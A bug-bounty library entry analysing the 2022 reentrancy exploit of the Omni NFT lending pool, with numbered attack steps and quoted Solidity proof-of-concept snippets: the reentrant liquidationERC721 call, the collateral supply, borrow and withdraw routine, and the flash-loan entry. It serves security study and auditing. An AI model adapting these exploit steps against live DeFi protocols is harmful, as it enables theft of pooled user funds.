# Omni NFT: reentrancy in liquidationERC721 drains WETH pool

Omni NFT lending pool reentrancy via ERC721 receive hook let attacker re-enter liquidationERC721 to drain WETH collateral from the protocol.

- Payout: Real-world hack
- Severity: critical
- Program: Omni NFT
- Analysis by: DeFiHackLabs
- Disclosed: 2022-07-10
- Write-up quality: 7/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2022-07/Omni_exp.sol
- Library page: http://bugbountylibrary.com/r/dhl%3A20220710-omni
- Tags: area:web3 domain:web3 impact:funds-loss kind:incident platform:defihacklabs sev:critical tech:evm tech:solidity vuln:accounting-error vuln:reentrancy

**Target:** Omni NFT lending pool (liquidationERC721) on Ethereum
**Root cause:** The pool's liquidationERC721 flow transfers the NFT to the liquidator before finalizing state, and the ERC721 receive hook (onERC721Received) re-enters the pool to manipulate collateral/borrow accounting while the liquidation is still in progress.
**Steps:**
1. Flash-borrow 1000 WETH from Balancer `balancer.flashLoan(...)`
2. Flash-borrow 20 DOODLE from the DOODLE vault `doodleVault.flashLoan(address(this), address(doodle), 20 ether, "")`
3. Swap WETH->DOODLE on SushiSwap `router.swapTokensForExactTokens(12e17, 200 ether, _path, ...)`
4. Redeem 20 specific DOODLE NFT ids from the vault `doodleVault.redeem(20, _specificIds)`
5. Deploy `Lib`, approve pool for NFTs+WETH, supply 3 NFTs as collateral, borrow WETH, withdraw 2 NFTs
6. Transfer 20 NFTs to Lib and call `lib.joker()` then `lib.attack()`
7. In `onERC721Received` at nonce 21 call `pool.liquidationERC721(address(doodles), address(WETH), address(_lib), 7425, 100 ether, false)` re-entering the pool
8. At nonce 22 transfer 3 NFTs to Lib and call `lib.attack()` to complete drain
9. Repay Balancer 1000 WETH, withdraw remaining WETH to ETH, keep profit
**How found:** Researcher (SupremacyCA) identified that liquidationERC721 transfers the NFT to the liquidator before state settlement, and the ERC721 receive callback allows re-entry into the pool's supply/borrow/liquidate functions to manipulate accounting.
**Exploitation:** Attacker flash-borrows WETH and DOODLE, redeems 20 DOODLE NFTs from the vault, supplies them as collateral to Omni, borrows WETH, then triggers liquidationERC721 which transfers an NFT to the attacker contract; the onERC721Received hook re-enters the pool mid-liquidation to re-supply/withdraw NFTs and borrow against inflated collateral, extracting WETH that is repaid to Balancer with profit retained.
**Escalation:** Chained Balancer flash loan + DOODLE vault flash loan + SushiSwap swap + Omni supply/borrow/liquidate reentrancy to amplify capital and drain pool WETH.
**Insight:** NFT lending pools that push ERC721s to liquidators via safeTransferFrom expose an onERC721Received reentrancy window; check whether collateral/borrow state is finalized before the NFT callback and whether liquidation can be re-entered to re-collateralize the same NFTs.

## Proof of concept (copied exactly from the original report)

**Reentrant liquidationERC721 call in onERC721Received**

```
if (nonce == 21) {
                nonce++;
                WETH.approve(address(pool), type(uint256).max);
                pool.liquidationERC721(address(doodles), address(WETH), address(_lib), 7425, 100 ether, false);
                return this.onERC721Received.selector;
```

**Lib.joker supplies NFTs, borrows WETH, withdraws collateral**

```
function joker() external onlyExp {
        DataTypes.ERC721SupplyParams[] memory _params = new DataTypes.ERC721SupplyParams[](3);

        _params[0].tokenId = 720;
        _params[0].useAsCollateral = true;

        _params[1].tokenId = 5251;
        _params[1].useAsCollateral = true;

        _params[2].tokenId = 7425;
        _params[2].useAsCollateral = true;

        pool.supplyERC721(address(doodles), _params, address(this), 0);

        (,, uint256 amount,,,,) = pool.getUserAccountData(address(this));

        pool.borrow(address(WETH), amount, 2, 0, address(this));

        uint256[] memory tokenIds = new uint256[](2);

        tokenIds[0] = 720;
        tokenIds[1] = 5251;

        require(pool.withdrawERC721(address(doodles), tokenIds, address(exp)) == 2, "Withdraw Error.");
```

**Balancer flash loan entry triggering exploit**

```
uint256[] memory amounts = new uint256[](1);
        amounts[0] = 1000 ether;

        balancer.flashLoan(address(this), tokens, amounts, "");
```

